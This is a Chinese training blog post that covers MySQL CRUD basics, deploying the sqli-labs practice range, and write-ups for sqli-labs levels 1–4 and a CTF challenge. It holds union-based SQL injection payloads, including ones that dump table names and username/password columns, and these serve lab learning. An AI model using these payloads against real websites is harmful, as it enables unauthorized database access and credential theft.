寒假第一周培训

寒假第一周培训

1.Mysql的增删改查

1.1什么是Mysql

MySQL 是一种开源的关系型数据库管理系统(RDBMS),它是由瑞典公司MySQL AB开发的,并由Oracle公司维护和支持。MySQL 是最流行的数据库管理系统之一,被广泛应用于各种应用程序和网站的数据存储和管理。

1.2Mysql的增删改查

在学习增删改查的基础指令之前,需要先创建一个数据库,并且在创建的数据库中新建一个空白的表

首先,在命令行终端中输入命令启动mysql

mysql -u root -p

在这里插入图片描述

接着使用create指令来创建一个新的数据库

create database pengyuyan;

创建完成后也可以使用show指令来查看我们刚才创建的数据库

show databases;

在这里插入图片描述
注意在mysql的命令的末尾需要加‘;’

接下来我们在数据库中创建一个表

我们在操作某个数据库之前需要使用use命令先进入该数据库

use pengyuyan;

在这里插入图片描述

创建表有通用的语法:

CREATE TABLE table_name (column_name column_type);

我们可以根据这个模板来创建一个具体的表:

CREATE TABLE IF NOT EXISTS student(
stuID INT UNSIGNED AUTO_INCREMENT,
stuNAME VARCHAR(100) NOT NULL,
stuCLASS VARCHAR(40) NOT NULL,
date DATE,
PRIMARY KEY ( stuID )
)ENGINE=InnoDB DEFAULT CHARSET=utf8;

该命令会创建一个名为student的表,具体的属性如下:

  • stuID:INT UNSIGNED 类型,自增字段,用作学生的唯一标识。
  • stuNAME:VARCHAR(100) 类型,不允许为空,用于存储学生的姓名。
  • stuCLASS:VARCHAR(40) 类型,不允许为空,用于存储学生的班级。
  • date:DATE 类型,用于存储日期。
  • PRIMARY KEY:将 stuID 列指定为主键,确保每个学生具有唯一的标识。
  • 此外,该表使用 InnoDB 引擎,并设置默认字符集为 utf8

接着我们就可以使用show命令来查看我们创建的表:

show tables;

在这里插入图片描述

也可以输入其他指令对表进行操作:

查看表的结构:DESCRIBE student;
查看表的内容:select * from student;

有了表之后我们就可以进行增删改查了

1.2.1增

增,即为插入数据(Create):
使用 INSERT INTO 语句将数据插入到表中,语法如下:

INSERT INTO table_name (column1, column2, ...)
VALUES (value1, value2, ...);
  • INSERT INTO:用于指定要插入数据的表名。
  • table_name:替换为要插入数据的表名。
  • (column1, column2, …):可选的列名列表,用于指定要插入数据的列。如果省略列名列表,则假定要将数据插入表中的所有列。
  • VALUES:用于指定要插入的具体值。
  • (value1, value2, …):替换为要插入的具体值,与列名列表中的列一一对应。

特别的,如果数据是字符型,必须使用单引号或者双引号,如:“value”

e.g.对刚才的表我们可以插入几条数据:

INSERT INTO student ( stuID, stuNAME,stuCLASS,date )
                       VALUES
                       (1,"周杰伦", "三年一班",CURDATE() );

执行的结果为:
在这里插入图片描述

1.2.2删

删,即为删除数据(Delete):
使用 DELETE FROM 语句从表中删除数据。可以指定删除条件,语法如下:

DELETE FROM table_name
WHERE condition;
  • DELETE FROM:用于指定要从哪个表中删除数据。
  • table_name:替换为要删除数据的表名。
  • WHERE:可选的关键字,用于指定删除的条件。
  • condition:替换为具体的删除条件,用于过滤要删除的数据。

e.g.将刚才表中的数据删除掉:

delete from student where stuNAME = "周杰伦";

执行的结果为:
在这里插入图片描述

1.2.3改

改,即为更新数据(Update):
使用 UPDATE 语句更新表中的数据。可以指定要更新的列和更新条件,语法如下:

UPDATE table_name
SET column1 = value1, column2 = value2, ...
WHERE condition;
  • UPDATE:用于指定要更新数据的表名。
  • table_name:替换为要更新数据的表名。
  • SET:用于指定要更新的列和对应的新值。
  • column1 = value1, column2 = value2, …:替换为要更新的列和新值,以逗号分隔。
  • WHERE:可选的关键字,用于指定更新的条件。
  • condition:替换为具体的更新条件,用于过滤要更新的数据。

e.g.将刚才的数据进行部分更改:

UPDATE student SET stuCLASS="六年一班"
WHERE  stuNAME="周杰伦";

执行的结果为:
在这里插入图片描述

1.2.4查

查,即为查询数据(Retrieve):
使用 SELECT 语句从表中检索数据。可以指定要检索的列、条件和排序等,语法如下:

SELECT column1, column2, ...
FROM table_name
WHERE condition
GROUP BY column1, column2, ...
HAVING condition
ORDER BY column1, column2, ... ASC|DESC
LIMIT offset, count;
  • SELECT:用于指定要查询的列。
  • column1, column2, …:替换为要查询的具体列名,多个列名用逗号分隔。如果要查询所有列,可以使用 * 通配符。
  • FROM:用于指定从哪个表中查询数据。
  • table_name:替换为要查询数据的表名。
  • WHERE:可选的关键字,用于指定查询的条件。
  • condition:替换为具体的查询条件,用于过滤要查询的数据。
  • GROUP BY:可选的关键字,用于指定分组的列。
  • HAVING:可选的关键字,用于指定分组后的条件过滤。
  • ORDER BY:可选的关键字,用于指定结果的排序方式。
  • column1, column2, …:替换为要排序的列名。
  • ASC|DESC:可选的关键字,用于指定升序(ASC)或降序(DESC)排序。
  • LIMIT:可选的关键字,用于限制结果集的数量。
  • offset:替换为结果集的偏移量,表示从第几行开始返回结果。
  • count:替换为要返回的行数。

2.sql-labs的部署

首先在github中下载对应版本的靶场的压缩包
在这里插入图片描述

接下来在小皮中创建网站,并将刚才压缩包的文件解压到网站的根目录下
在这里插入图片描述

打开网站后选择Setup/reset Database for labs使其自动创建数据库
在这里插入图片描述

要注意的是如果显示连接不到数据库,我们就需要去“db-creds.inc”文件中检查数据库的用户名和密码是否正确
在这里插入图片描述

创建表并填充数据后的页面如下:
在这里插入图片描述

之后返回上一个页面,点开SQLI-LABS PAGE-1即可开始练习了

3.sql-labs1-5题wp

SQL注入基本流程:

1.判断是否存在注入,注入是字符型还是数字型

2.猜解中SQL查询语句的字段数

3.确定显示的字段顺序

4.获取当前数据库

5.获取数据库中的表

6.获取表中的字段名

sql注入基本语句:

order by 4 --+
判断有多少列
union select 1,2,3 --+
判断数据显示点
union select 1,user(),database()­­ --+
­显示出登录用户和数据库名
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = ‘security’ ),3 --+
查看数据库有哪些表
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = ‘security’ and table_name=‘users’ ),3 --+
查看对应表有哪些列
union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 --+
查看账号密码信息

3.1less-1

首先输入?id=1判断是否存在sql注入
在这里插入图片描述

因为数字值不同返回的内容也不同,所以我们输入的内容是带入到数据库里面查询了

接下来我们判断sql语句是否是拼接,且是字符型还是数字型
在这里插入图片描述

可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询

接下来使用order by 判断表格有几列
在这里插入图片描述

爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的
在这里插入图片描述

获取当前数据名和版本号
在这里插入图片描述

通过结果知道当前数据看是security,版本是5.7.26

爆表,information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来
在这里插入图片描述

爆字段名,我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容
在这里插入图片描述

通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容
在这里插入图片描述

3.2less-2

我们可以根据1-2判断出为数字型无闭合
其余步骤与第一题一致

3.3less-3

根据错误信息判断出闭合字符为’)
其余步骤与第一题一致在这里插入图片描述

3.4less-4

根据错误信息判断出闭合字符为")
其余步骤与第一题一致在这里插入图片描述

3.5less-5

4.easy_sql

拿到题目,查看源码,要求我们输入参数wllm
在这里插入图片描述

首先输入wllm=1,回显正常
在这里插入图片描述

输入wllm=1’,出现报错,可以判断为字符型漏洞
在这里插入图片描述

接下来使用order by 判断表格有几列, ?wllm=1’ order by 4–+报错,所以为3列
在这里插入图片描述

查看回显:
在这里插入图片描述

查数据库名:
在这里插入图片描述

查看test_db库的表
在这里插入图片描述

查字段:
在这里插入图片描述

出现flag字段,查看flag字段的内容:
在这里插入图片描述

  • 12
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值